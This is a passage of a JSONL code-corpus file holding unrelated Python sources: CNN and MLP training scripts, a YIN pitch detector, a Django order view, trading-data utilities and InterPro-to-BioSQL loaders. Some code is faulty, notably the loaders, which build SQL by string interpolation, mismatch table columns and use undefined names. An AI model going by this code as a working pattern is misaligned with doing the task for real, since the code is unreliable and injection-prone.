optimizer=opt, metrics=[\"accuracy\"])\n\n#- train the network\nprint(\"[INFO] training network...\")\nH = model.fit(trainX, trainY, validation_data=(testX, testY), batch_size=64, epochs=40, verbose=1)\n\n#- evaluate the network\nprint(\"[INFO] evaluating network...\")\npreds = model.predict(testX, batch_size=64)\nprint(classification_report(testY.argmax(axis=1), preds.argmax(axis=1), \n target_names=labelNames))\n\n#- plot results\nplt.style.use(\"ggplot\")\nplt.figure()\nplt.plot(np.arange(0, 40), H.history['loss'], label=\"train_loss\")\nplt.plot(np.arange(0, 40), H.history['val_loss'], label=\"val_loss\")\nplt.plot(np.arange(0, 40), H.history['acc'], label=\"train_acc\")\nplt.plot(np.arange(0, 40), H.history['val_acc'], label=\"val_acc\")\nplt.title(\"Training Loss and Accuracy\")\nplt.xlabel(\"Epoch #\")\nplt.ylabel(\"Loss/Accuracy\")\nplt.legend()\nplt.savefig('miniVGGNet-Cifar-10-Acc-Loss.png')\nplt.show()\n\n#_ without batch normalization,\n#_ loss starts to increase path epoch 30, indicates that the network is overfitting the training data.\n\n#_ 1) Batch Normalization can lead to a faster, more stable convergence with higher accuracy.\n#_ 2) However, the advantages will come at the expense of training time - batch normalization will require more \"wall time\" to train the network, even though the network will obtain higher accuracy in less epochs.\n\n\n#_ #_ Results\n#_ INFO] evaluating network...\n#_ precision recall f1-score support\n#_ \n#_ airplane 0.78 0.68 0.73 1000\n#_ automobile 0.85 0.75 0.80 1000\n#_ bird 0.61 0.43 0.51 1000\n#_ cat 0.50 0.48 0.49 1000\n#_ deer 0.54 0.64 0.59 1000\n#_ dog 0.61 0.55 0.58 1000\n#_ frog 0.57 0.89 0.70 1000\n#_ horse 0.81 0.66 0.73 1000\n#_ ship 0.76 0.83 0.80 1000\n#_ truck 0.75 0.78 0.77 1000\n#_ \n#_ accuracy 0.67 10000\n#_ macro avg 0.68 0.67 0.67 10000\n#_ weighted avg 0.68 0.67 0.67 10000\n#_ ","sub_path":"LeNet/minivggnet_cifar10.py","file_name":"minivggnet_cifar10.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"83227882","text":"'''\nYifei Han, hanyifei@bu.edu\nCS591 Computational Audio, Professor Snyder\nSpring 2015\n\n'''\nimport array\nimport contextlib\nimport wave\nimport math\n\n#global variables\nS = 88200 # 2 second mark; starting location\nW = 2205 # window size\n\n \ndef readwav(fname):\n with contextlib.closing(wave.open(fname)) as f:\n params = f.getparams()\n frames = f.readframes(params[3])\n return array.array(\"h\", frames), params\n\ndef main():\n infileName = input(\"Enter the name of the input .wav file: \")\n data, params = readwav(infileName)\n\n #YIN algorithm\n \n t = [T for T in range(S,S+W//2)] #lag time range from 0 to n/2\n dt = []\n for lag in t:\n diff = 0\n for j in range(S,S+W): \n diff += (data[j]-data[j+lag]) ** 2 # calc. sum\n dt += [diff]\n \n cumMean = [1] \n for T in t: # lag time\n s = 0\n for j in range(S,T):\n s += dt[j]\n cumMean += [dt[T] * t[T] / s]\n T = cumMean.index(min(cumMean))\n #print(cumMean) \n f0 = 44100/t[T]\n print(f0)\n\n\n\n\nmain()\n","sub_path":"Audio/hw5/pitchhyf.py","file_name":"pitchhyf.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"42928853","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom join.forms import *\nfrom zeronine.models import *\n\n# Create your views here.\n\ndef join_create(request, id):\n current_category = None\n designated = Designated.objects.all()\n designated_object = Designated.objects.filter(rep_price='True')\n value_p = Value.extra_cost\n element = Element.objects.all()\n value_object = Value.objects.all()\n categories = Category.objects.all()\n products = Product.objects.all()\n\n if not request.user.is_authenticated:\n return HttpResponseRedirect(reverse('zeronine:login'))\n\n if request.method == \"POST\":\n product = Product.objects.get(product_code=id)\n join = Join()\n join.product_code = product\n join.username = request.user\n join.save()\n\n if request.method == \"POST\":\n form = ElementForm(request.POST)\n\n if form.is_valid():\n for value_code2 in request.POST.getlist('value_code2'):\n element = Element()\n element.designated_code = Designated.objects.get(product_code=id)\n element.value_code = get_object_or_404(Value, pk=value_code2)\n element.save()\n\n else:\n element = Element()\n element.designated_code = Designated.objects.get(product_code=id)\n element.value_code = None\n element.save()\n\n if request.method == \"POST\":\n form = JoinDetailForm(request.POST)\n\n if form.is_valid():\n for quantity, price2, value_code2 in zip(request.POST.getlist('quantity'), request.POST.getlist('price2'), request.POST.getlist('value_code2')):\n join_detail = JoinDetail()\n join_detail.join_code = join\n join_detail.designated_code = Designated.objects.get(product_code=id)\n join_detail.value_code = get_object_or_404(Value, pk=value_code2)\n join_detail.quantity = quantity\n join_detail.price = price2\n join_detail.save()\n\n else:\n join_detail = JoinDetail()\n join_detail.join_code = join\n join_detail.designated_code = Designated.objects.get(product_code=id)\n join_detail.quantity = request.POST.get('quantity')\n join_detail.price = request.POST.get('price2')\n join_detail.value_code = None\n join_detail.save()\n\n return render(request, 'zeronine/list.html', {'current_category': current_category,\n 'products': products,\n 'categories': categories,\n 'designated': designated})\n\n\n return render(request, 'zeronine/detail.html', {'products':products,\n 'designated': designated,\n 'element': element,\n 'value_p':value_p,\n 'designated_object':designated_object,\n 'value_object': value_object})","sub_path":"join/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"273143923","text":"# Copyright (c) 2019-2022 CRS4\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\"\"\"\\\nBasic MLP for MNIST with batch training and evaluation.\n\"\"\"\n\nimport argparse\nimport sys\n\nimport numpy as np\nimport pyeddl.eddl as eddl\nfrom pyeddl.tensor import Tensor\n\n\nMEM_CHOICES = (\"low_mem\", \"mid_mem\", \"full_mem\")\n\n\ndef main(args):\n eddl.download_mnist()\n\n num_classes = 10\n\n in_ = eddl.Input([784])\n layer = in_\n layer = eddl.ReLu(eddl.Dense(layer, 1024))\n layer = eddl.ReLu(eddl.Dense(layer, 1024))\n layer = eddl.ReLu(eddl.Dense(layer, 1024))\n out = eddl.Softmax(eddl.Dense(layer, num_classes))\n net = eddl.Model([in_], [out])\n\n eddl.build(\n net,\n eddl.sgd(0.001, 0.9),\n [\"softmax_cross_entropy\"],\n [\"categorical_accuracy\"],\n eddl.CS_GPU(mem=args.mem) if args.gpu else eddl.CS_CPU(mem=args.mem)\n )\n\n eddl.summary(net)\n eddl.plot(net, \"model.pdf\")\n eddl.setlogfile(net, \"mnist\")\n\n x_train = Tensor.load(\"mnist_trX.bin\")\n y_train = Tensor.load(\"mnist_trY.bin\")\n x_test = Tensor.load(\"mnist_tsX.bin\")\n y_test = Tensor.load(\"mnist_tsY.bin\")\n if args.small:\n x_train = x_train.select([\":6000\"])\n y_train = y_train.select([\":6000\"])\n x_test = x_test.select([\":1000\"])\n y_test = y_test.select([\":1000\"])\n\n x_train.div_(255.0)\n x_test.div_(255.0)\n\n s = x_train.shape\n num_batches = s[0] // args.batch_size\n for i in range(args.epochs):\n eddl.reset_loss(net)\n print(\"Epoch %d/%d (%d batches)\" % (i + 1, args.epochs, num_batches))\n for j in range(num_batches):\n indices = np.random.randint(0, s[0], args.batch_size)\n eddl.train_batch(net, [x_train], [y_train], indices)\n\n losses1 = eddl.get_losses(net)\n metrics1 = eddl.get_metrics(net)\n for l, m in zip(losses1, metrics1):\n print(\"Loss: %.6f\\tMetric: %.6f\" % (l, m))\n\n s = x_test.shape\n num_batches = s[0] // args.batch_size\n for j in range(num_batches):\n indices = np.arange(j * args.batch_size,\n j * args.batch_size + args.batch_size)\n eddl.eval_batch(net, [x_test], [y_test], indices)\n\n losses2 = eddl.get_losses(net)\n metrics2 = eddl.get_metrics(net)\n for l, m in zip(losses2, metrics2):\n print(\"Loss: %.6f\\tMetric: %.6f\" % (l, m))\n\n last_batch_size = s[0] % args.batch_size\n if last_batch_size:\n indices = np.arange(j * args.batch_size,\n j * args.batch_size + args.batch_size)\n eddl.eval_batch(net, [x_test], [y_test], indices)\n\n losses3 = eddl.get_losses(net)\n metrics3 = eddl.get_metrics(net)\n for l, m in zip(losses3, metrics3):\n print(\"Loss: %.6f\\tMetric: %.6f\" % (l, m))\n\n print(\"All done\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\"--epochs\", type=int, metavar=\"INT\", default=10)\n parser.add_argument(\"--batch-size\", type=int, metavar=\"INT\", default=1000)\n parser.add_argument(\"--gpu\", action=\"store_true\")\n parser.add_argument(\"--small\", action=\"store_true\")\n parser.add_argument(\"--mem\", metavar=\"|\".join(MEM_CHOICES),\n choices=MEM_CHOICES, default=\"low_mem\")\n main(parser.parse_args(sys.argv[1:]))\n","sub_path":"examples/NN/1_MNIST/mnist_mlp_train_batch.py","file_name":"mnist_mlp_train_batch.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"175450084","text":"import pandas as pd\nimport logging\nfrom azureml.core import Run, Experiment, Workspace, Datastore, Dataset\nimport os\nimport time\nimport numpy as np\n\n\nclass data_process():\n # WARNING: For the outlier detection to work properly all the NaN values should be removed prior to calling the\n # function\n TRIM_DELTA = 10\n\n def trim_mean(self, df):\n if len(df) == 0:\n return np.NaN\n\n low_cut = np.percentile(df, self.TRIM_DELTA / 2)\n high_cut = np.percentile(df, 100 - self.TRIM_DELTA / 2)\n\n index1 = (df <= high_cut)\n index2 = (df >= low_cut)\n index = np.logical_and(index1, index2)\n\n if len(df[index]) == 0:\n return np.NaN\n\n return df[index].mean()\n\n def trim_std(self, df):\n if len(df) == 0:\n return np.NaN\n\n low_cut = np.percentile(df, self.TRIM_DELTA / 2)\n high_cut = np.percentile(df, 100 - self.TRIM_DELTA / 2)\n\n index1 = (df <= high_cut)\n index2 = (df >= low_cut)\n index = np.logical_and(index1, index2)\n\n if len(df[index]) == 0:\n return np.NaN\n\n return df[index].std()\n\n # This function detects the outliers based on the test introduced in Brownlees and Gallo (2006)\n # Inputs:\n # m: m is used to calculate k as k=2m+1. K is the length of the window\n # gamma_multiple: This is used to calculate gamma variables defined in the paper.\n # We first calculate the MIN_PRICE_VARIATION for the day, and calculate gamma as\n # gamma = gamma_multiple * MIN_PRICE_VARIATION\n # Constants:\n # delta: trim parameter set to 10% as in the paper\n def detect_outliers(self, df, m, gamma_multiple, data_column=\"Price\"):\n # Length of the window\n k = 2 * m + 1\n\n if len(df.index) < k:\n df['Outlier'] = False\n return\n\n old_setting = np.seterr('raise')\n\n if df[data_column].isnull().values.any():\n raise Exception(\"Price column contains NaN values.\")\n\n df['Trim Mean'] = df[data_column].rolling(\n window=k, min_periods=k, center=True).apply(self.trim_mean, raw=True)\n df['Trim Std'] = df[data_column].rolling(\n window=k, min_periods=k, center=True).apply(self.trim_std, raw=True)\n\n # Recalculate for the first m observations\n top = df.head(n=k).copy(deep=True)\n top['Trim Mean'] = self.trim_mean(top[data_column].values)\n top['Trim Std'] = self.trim_std(top[data_column].values)\n df[:m] = top\n\n # Recalculate for the last m observations\n bottom = df.tail(n=k).copy(deep=True)\n bottom['Trim Mean'] = self.trim_mean(bottom[data_column].values)\n bottom['Trim Std'] = self.trim_std(bottom[data_column].values)\n df[-m:] = bottom\n\n # This line throws a warning if all observations result in NaNs\n df['PRICE_CHANGE'] = np.absolute(\n df[data_column] - df[data_column].shift(1))\n df['PRICE_CHANGE'] = np.where(\n df['PRICE_CHANGE'] == 0, np.nan, df['PRICE_CHANGE'])\n MIN_PRICE_CHANGE = df['PRICE_CHANGE'].min()\n gamma = gamma_multiple * MIN_PRICE_CHANGE\n\n df['Outlier'] = ~(np.abs(df[data_column] - df['Trim Mean'])\n < 3 * df['Trim Std'] + gamma)\n df.drop('PRICE_CHANGE', 1, inplace=True)\n df.drop('Trim Mean', 1, inplace=True)\n df.drop('Trim Std', 1, inplace=True)\n\n np.seterr(**old_setting)\n\n\ndef merge_simultanous_rows(x):\n d = {}\n d[\"Price\"] = (x[\"Price\"] * x[\"Volume\"]).sum() / x[\"Volume\"].sum()\n d[\"Volume\"] = x[\"Volume\"].sum()\n d[\"Seq. No.\"] = x[\"Seq. No.\"].values[0] # TODO: Ask Erfan\n d[\"Exch Time\"] = x[\"Exch Time\"].values[0] # TODO: Ask Erfan\n return pd.Series(d, index=[\"Price\", \"Volume\", \"Seq. No.\", \"Exch Time\"])\n\n\ndef merge_simultanous_rows_quotes(x):\n d = {}\n d[\"Price\"] = (x[\"Price\"] * x[\"Volume\"]).sum() / x[\"Volume\"].sum()\n d[\"Volume\"] = x[\"Volume\"].sum()\n d[\"Seq. No.\"] = x[\"Seq. No.\"].values[0] # TODO: Ask Erfan\n d[\"Exch Time\"] = x[\"Exch Time\"].values[0] # TODO: Ask Erfan\n return pd.Series(d, index=[\"Price\", \"Volume\", \"Seq. No.\", \"Exch Time\"])\n\n\ndef save_to_blob(df, datastore, path, file_name):\n print(\"file_name: {}\".format(file_name))\n df.to_pickle(file_name)\n time.sleep(1)\n datastore.upload_files(\n files=[file_name],\n relative_root=None,\n target_path=path,\n overwrite=True,\n show_progress=True,\n )\n\n\ndef standarize(x): return (x - x.mean()) / x.std()\n\n\ndef normalize(x): return (x - x.min()) / (x.max() - x.min())\n\n\ndef scale(x): return (x / x.mean())\n\n\ndef compute_label_long(events, current_ind, pt_level, sl_level, wait_time):\n volatility = events.loc[current_ind, 'dailyVolatility']\n pt_price = events.loc[current_ind, 'Bid Price'] * (1 + (pt_level * volatility))\n sl_price = events.loc[current_ind, 'Bid Price'] * (1 - (sl_level * volatility))\n end_time = events.loc[current_ind, 'Date-Time'] + wait_time\n last_ind = events.index.max()\n end_ind = int(\n np.nanmin([events[events['Date-Time'] > end_time].index.min(), last_ind]))\n prices = events.loc[current_ind:end_ind, 'Bid Price']\n pt_ind = prices[prices > pt_price].index.min()\n sl_ind = prices[prices < sl_price].index.min()\n # print(current_ind, (pt_ind, sl_ind, end_ind))\n return (pt_ind, sl_ind, end_ind)\n\n\ndef compute_label(events, current_ind, pt_level, sl_level, wait_time):\n volatility = events.loc[current_ind, 'dailyVolatility']\n pt_price_long = events.loc[current_ind, 'Bid Price'] * (1 + (pt_level * volatility))\n sl_price_long = events.loc[current_ind, 'Bid Price'] * (1 - (sl_level * volatility))\n pt_price_short = events.loc[current_ind, 'Ask Price'] * (1 - (pt_level * volatility))\n sl_price_short = events.loc[current_ind, 'Ask Price'] * (1 + (sl_level * volatility))\n end_time = events.loc[current_ind, 'Date-Time'] + wait_time\n last_ind = events.index.max()\n end_ind = int(\n np.nanmin([events[events['Date-Time'] > end_time].index.min(), last_ind]))\n prices_long = events.loc[current_ind:end_ind, 'Bid Price']\n prices_short = events.loc[current_ind:end_ind, 'Ask Price']\n pt_long_ind = prices_long[prices_long > pt_price_long].index.min()\n sl_long_ind = prices_long[prices_long < sl_price_long].index.min()\n pt_short_ind = prices_short[prices_short < pt_price_short].index.min()\n sl_short_ind = prices_short[prices_short > sl_price_short].index.min()\n # print(current_ind, (pt_ind, sl_ind, end_ind))\n return (pt_long_ind, sl_long_ind, pt_short_ind, sl_short_ind, end_ind)\n\n\ndef setlabel(x):\n if np.nanmin(x) == x[0]:\n return 1\n elif np.nanmin(x) == x[1]:\n return -1\n else:\n return 0\n\n\ndef set_df_labels(df, pt_level, sl_level, wait_time, inds):\n df['pt_long_ind'] = np.nan\n df['sl_long_ind'] = np.nan\n df['pt_short_ind'] = np.nan\n df['sl_short_ind'] = np.nan\n df['end_ind'] = np.nan\n # vol = df['Acc Volume']\n # vol_levels = range(vol_tick, int(max(vol)), vol_tick)\n # inds = []\n # for level in vol_levels:\n # ind = vol[vol > level].index.min()\n # inds.append(ind)\n df_bars = df.loc[inds].copy()\n # print(df_bars.columns)\n for i in range(len(df_bars)):\n # print(i)\n df_bars.loc[inds[i], ['pt_long_ind', 'sl_long_ind', 'pt_short_ind', 'sl_short_ind', 'end_ind']] = compute_label(\n df, inds[i], pt_level, sl_level, wait_time)\n df_bars.reset_index(inplace=True)\n df_bars.rename(columns={\"index\": \"original_index\"}, inplace=True)\n df_bars['long_label'] = df_bars.loc[:, ['pt_long_ind',\n 'sl_long_ind', 'end_ind']].apply(setlabel, axis=1)\n df_bars['short_label'] = df_bars.loc[:, ['pt_short_ind',\n 'sl_short_ind', 'end_ind']].apply(setlabel, axis=1)\n\n return df_bars\n\n\ndef select_first_file(path):\n \"\"\"Selects first file in folder, use under assumption there is only one file in folder\n\n Args:\n path (str): path to directory or file to choose\n\n Raises:\n ValueError: error raised when there are multiple files in the directory\n\n Returns:\n str: full path of selected file\n \"\"\"\n if os.path.isfile(path):\n # log(logging.INFO, DataCategory.ONLY_PUBLIC_DATA, \"Input is file, selecting {}\".format(path))\n return path\n\n files = os.listdir(path)\n # log(logging.INFO, DataCategory.ONLY_PUBLIC_DATA, \"Found {} in {}\".format(files, path))\n if len(files) != 1:\n raise ValueError(\"expected exactly one file in directory\")\n # log(logging.INFO, DataCategory.ONLY_PUBLIC_DATA, \"Selecting {}\".format(files[0]))\n return os.path.join(path, files[0])\n\ndef TW_avg(df, datetime_col, keys, timestamp_cutoffs, fillforward=True):\n # Forward Fill \n if fillforward:\n for key in keys:\n df[key] = df[key].fillna(method='ffill')\n df['L1-'+key] = df[key].shift(1)\n\n # Form the interval groups based on the timestamps provided. The code doesn't automatically create any intervals at the \n # begining and end of data. If desired the intervals should be explicitly passed to the function.\n df['Group'] = pd.cut(df[datetime_col], timestamp_cutoffs)\n df['Group Open'] = pd.IntervalIndex(df['Group']).get_level_values(0).left\n df['Group Close'] = pd.IntervalIndex(df['Group']).get_level_values(0).right\n\n # Forward Deltas\n df['F Delta'] = (df['Date-Time'].shift(-1)-df['Date-Time']).dt.total_seconds()\n df['F Delta 2'] = (df['Group Close']-df[datetime_col]).dt.total_seconds()\n df['F Delta 3'] = np.where((df['F Delta'] < df['F Delta 2']) | (df['F Delta'].isna()), df['F Delta'], df['F Delta 2'])\n\n # Backward Deltas\n df['B Delta'] = df['F Delta'].shift(1)\n df['B Delta 2'] = (df[datetime_col] - df['Group Open']).dt.total_seconds()\n df['B Delta 3'] = np.where((df['B Delta'] < df['B Delta 2']) | (df['B Delta'].isna()), np.NaN, df['B Delta 2'])\n\n # Variable * Delta\n for key in keys:\n df[key + ' * Delta'] = df[key] * df['F Delta 3']\n df['L1-' + key + ' * Delta'] = df['L1-' + key] * df['B Delta 3']\n\n # Group dataframe based on cutoffs\n df_grouped = df.groupby(df['Group'])\n\n # Emoty dataframe for aggregate measures\n df_agg = pd.DataFrame()\n\n # Open and Close of Variables\n for key in keys:\n df_agg[key + ' * Delta'] = df_grouped[key + ' * Delta'].sum()\n df_agg[key + ' * Delta Open'] = df_grouped['L1-' + key + ' * Delta'].sum()\n df_agg['Time Delta'] = df_grouped['F Delta 3'].sum() + df_grouped['B Delta 3'].sum()\n\n df_agg['Bar Open Time Stamp'] = pd.IntervalIndex(df_agg.index.get_level_values(0)).left\n df_agg['Bar Close Time Stamp'] = pd.IntervalIndex(df_agg.index.get_level_values(0)).right\n\n for key in keys:\n df_agg['TW Avg '+ key] = (df_agg[key + ' * Delta'] + df_agg[key + ' * Delta Open'] ) / df_agg['Time Delta']\n \n return_cols = ['Time Delta', 'Bar Open Time Stamp', 'Bar Close Time Stamp'] + ['TW Avg '+key for key in keys]\n\n return df_agg[return_cols]\n","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"653746351","text":"#!/usr/bin/env python\n# -*- coding: iso-8859-15 -*-\n\n\ndef interpro2biosqlV2(server,\n hash2locus_list,\n interpro_accession2interpro_id,\n seqfeature_id2locus_tag,\n locus_tag2genome_taxon_id,\n protein_id2genome_taxon_id,\n locus_tag2seqfeature_id,\n protein_id2seqfeature_id,\n seqfeature_id2organism,\n db_name,\n *input_files):\n\n import re\n '''\n 1. Protein Accession (e.g. P51587)\n 2. Sequence MD5 digest (e.g. 14086411a2cdf1c4cba63020e1622579)\n 3.. equence Length (e.g. 3418)\n 4. Analysis (e.g. Pfam / PRINTS / Gene3D)\n 5. Signature Accession (e.g. PF09103 / G3DSA:2.40.50.140)\n 6. Signature Description (e.g. BRCA2 repeat profile)\n 7. Start location\n 8. Stop location\n 9. Score - is the e-value of the match reported by member database method (e.g. 3.1E-52)\n 10. Status - is the status of the match (T: true)\n 11. Date - is the date of the run\n 12. (InterPro annotations - accession (e.g. IPR002093) - optional column; only displayed if -iprscan option is switched on)\n 13. (InterPro annotations - description (e.g. BRCA2 repeat) - optional column; only displayed if -iprscan option is switched on)\n 14. (GO annotations (e.g. GO:0005515) - optional column; only displayed if --goterms option is switched on)\n 15. (Pathways annotations (e.g. REACT_71) - optional column; only displayed if --pathways option is switched on)\n :param input_file:\n :return:\n '''\n\n sql = 'CREATE TABLE interpro.interpro_%s (accession VARCHAR(100),' \\\n ' seqfeature_id INT, ' \\\n ' organism VARCHAR(200), ' \\\n ' taxon_id INT,' \\\n ' sequence_length INT, ' \\\n ' analysis VARCHAR(100) NOT NULL, ' \\\n ' signature_accession VARCHAR(100), ' \\\n ' signature_description VARCHAR(1000), ' \\\n ' start INT, ' \\\n ' stop INT, ' \\\n ' score VARCHAR(20) NOT NULL, ' \\\n ' interpro_id INT, ' \\\n ' GO_terms varchar(10000),' \\\n ' pathways varchar(10000),' \\\n ' INDEX seqfeature_id (seqfeature_id),' \\\n ' INDEX interpro_id (interpro_id),' \\\n ' INDEX ia (interpro_accession))' % db_name\n try:\n server.adaptor.execute(sql)\n except:\n pass\n for one_interpro_file in input_files:\n print(one_interpro_file)\n from pandas import read_csv\n with open(one_interpro_file, 'r') as f:\n tsvin = read_csv(f, sep='\\t', error_bad_lines=False, names=[\"accession\",\n \"MD5\",\n \"sequence_length\",\n \"analysis\",\n \"signature_accession\",\n \"signature_description\",\n \"start\",\n \"stop\",\n \"score\",\n \"status\",\n \"date\",\n \"interpro_accession\",\n \"interpro_description\",\n \"GO_terms\",\n \"pathways\"])\n tsvin = tsvin.fillna(0)\n\n for i in range(len(tsvin['accession'])):\n\n data = list(tsvin.loc[i,:])\n for index, item in enumerate(data):\n if type(item) == str:\n data[index] = item.replace('\\\"','')\n\n locus_tag_list = hash2locus_list[data[0]]\n\n sequence_length = data[2]\n analysis = data[3]\n signature_accession = data[4]\n signature_description = data[5]\n start = data[6]\n stop = data[7]\n score = data[8]\n\n\n interpro_accession = data[11]\n interpro_description = data[12]\n GO_terms = data[13]\n pathways = data[14]\n\n for locus_tag in locus_tag_list:\n taxon_id = locus_tag2genome_taxon_id[locus_tag]\n seqfeature_id = locus_tag2seqfeature_id[locus_tag]\n organism = seqfeature_id2organism[str(seqfeature_id)]\n\n sql = 'INSERT INTO interpro.interpro_%s(accession, locus_tag, organism, taxon_id,' \\\n ' sequence_length, analysis, signature_accession, signature_description, start, ' \\\n ' stop, score, interpro_accession, interpro_description, GO_terms, pathways) ' \\\n ' values (\"%s\", \"%s\", \"%s\", %s, %s, \"%s\", \"%s\", \"%s\", %s, %s, \"%s\", \"%s\", \"%s\", \"%s\", \"%s\");' % (db_name,\n locus_tag,\n seqfeature_id,\n organism,\n taxon_id,\n sequence_length,\n analysis,\n signature_accession,\n signature_description,\n int(start),\n int(stop),\n str(score),\n interpro_id,\n GO_terms,\n pathways)\n try:\n server.adaptor.execute(sql)\n server.adaptor.commit()\n except:\n print(sql)\n print(data)\n import sys\n sys.exit()\n\n\ndef update_analysis_dico(server):\n\n from chlamdb.biosqldb import manipulate_biosqldb\n\n sql = 'select analysis_name, analysis_id from interpro.analysis'\n\n analysis_nam2analysis_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n\n return analysis_nam2analysis_id\n\ndef interpro2biosql(server,\n hash2locus,\n locus_tag2seqfeature_id,\n db_name,\n *input_files):\n\n import MySQLdb\n '''\n 1. Protein Accession (e.g. P51587)\n 2. Sequence MD5 digest (e.g. 14086411a2cdf1c4cba63020e1622579)\n 3.. equence Length (e.g. 3418)\n 4. Analysis (e.g. Pfam / PRINTS / Gene3D)\n 5. Signature Accession (e.g. PF09103 / G3DSA:2.40.50.140)\n 6. Signature Description (e.g. BRCA2 repeat profile)\n 7. Start location\n 8. Stop location\n 9. Score - is the e-value of the match reported by member database method (e.g. 3.1E-52)\n 10. Status - is the status of the match (T: true)\n 11. Date - is the date of the run\n 12. (InterPro annotations - accession (e.g. IPR002093) - optional column; only displayed if -iprscan option is switched on)\n 13. (InterPro annotations - description (e.g. BRCA2 repeat) - optional column; only displayed if -iprscan option is switched on)\n 14. (GO annotations (e.g. GO:0005515) - optional column; only displayed if --goterms option is switched on)\n 15. (Pathways annotations (e.g. REACT_71) - optional column; only displayed if --pathways option is switched on)\n :param input_file:\n :return:\n '''\n\n sql = 'CREATE TABLE if not exists interpro.analysis (analysis_id INT AUTO_INCREMENT PRIMARY KEY, ' \\\n ' analysis_name varchar(400),' \\\n ' index analysis_name(analysis_name))'\n\n server.adaptor.execute(sql,)\n\n sql2 = 'CREATE TABLE if not exists interpro.signature (signature_id INT AUTO_INCREMENT PRIMARY KEY, ' \\\n ' signature_accession varchar(400),' \\\n ' signature_description TEXT,' \\\n ' analysis_id INT,' \\\n ' interpro_id INT, ' \\\n ' GO_terms TEXT,' \\\n ' pathways TEXT,' \\\n ' INDEX analysis_id (analysis_id),' \\\n ' index signature_accession(signature_accession),' \\\n ' index interpro_id(interpro_id))' \\\n\n server.adaptor.execute(sql2,)\n\n sql3 = 'CREATE TABLE if not exists interpro.interpro_%s (seqfeature_id INT,' \\\n ' sequence_length INT, ' \\\n ' signature_id INT, ' \\\n ' start INT, ' \\\n ' stop INT, ' \\\n ' score TEXT,' \\\n ' INDEX signature_id (signature_id),' \\\n ' INDEX seqfeature(seqfeature_id))' % db_name\n\n server.adaptor.execute(sql3)\n\n analysis2analysis_id = update_analysis_dico(server)\n sql = 'select signature_accession, signature_id from interpro.signature'\n signature2signature_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n sql = 'select name, interpro_id from interpro.entry'\n interpro_entry2interpro_entry_id = manipulate_biosqldb.to_dict(server.adaptor.execute_and_fetchall(sql,))\n\n for one_interpro_file in input_files:\n print(one_interpro_file)\n from pandas import read_csv\n with open(one_interpro_file, 'r') as f:\n tsvin = read_csv(f, sep='\\t', error_bad_lines=False, names=[\"accession\",\n \"MD5\",\n \"sequence_length\",\n \"analysis\",\n \"signature_accession\",\n \"signature_description\",\n \"start\",\n \"stop\",\n \"score\",\n \"status\",\n \"date\",\n \"interpro_accession\",\n \"interpro_description\",\n \"GO_terms\",\n \"pathways\"])\n tsvin = tsvin.fillna(0)\n\n for i in range(len(tsvin['accession'])):\n\n data = list(tsvin.loc[i,:])\n for index, item in enumerate(data):\n if type(item) == str:\n data[index] = item.replace('\\\"','')\n\n locus_tag_list = hash2locus_list[data[0]]\n\n sequence_length = data[2]\n analysis = data[3]\n signature_description = data[5]\n interpro_accession = data[11]\n interpro_description = data[12]\n GO_terms = data[13]\n pathways = data[14]\n\n try:\n analysis_id = analysis2analysis_id[analysis]\n except KeyError:\n print ('New analysis:', analysis)\n sql = 'insert into interpro.analysis (analysis_name) values (\"%s\")' % analysis\n server.adaptor.execute(sql)\n server.adaptor.commit()\n analysis2analysis_id = update_analysis_dico(server)\n analysis_id = analysis2analysis_id[analysis]\n\n signature_accession = data[4]\n\n #sql = 'select signature_id from interpro.signature where signature_accession=\"%s\"' % signature_accession\n\n try:\n signature_id = signature2signature_id[signature_accession]#server.adaptor.execute_and_fetchall(sql,)[0][0]\n except KeyError:\n print ('New signature', signature_accession, signature_description)\n #sql1 = 'select interpro_id from interpro.entry where name=\"%s\"' % (interpro_accession)\n\n try:\n interpro_id = interpro_entry2interpro_entry_id[interpro_accession]#server.adaptor.execute_and_fetchall(sql1,)[0][0]\n except KeyError:\n if interpro_accession == 0:\n print('No interpro-accession for ', signature_accession, signature_description)\n interpro_id=\"NULL\"\n else:\n print('New Interpro entry', interpro_accession, interpro_description)\n\n sql1b = 'insert into interpro.entry(name, description) values(\"%s\",\"%s\")' % (interpro_accession,\n interpro_description)\n print (sql1b)\n server.adaptor.execute(sql1b,)\n server.adaptor.commit()\n sql1 = 'select interpro_id from interpro.entry where name=\"%s\"' % (interpro_accession)\n interpro_id = server.adaptor.execute_and_fetchall(sql1,)[0][0]\n # update dictionnray\n interpro_entry2interpro_entry_id[interpro_accession] = 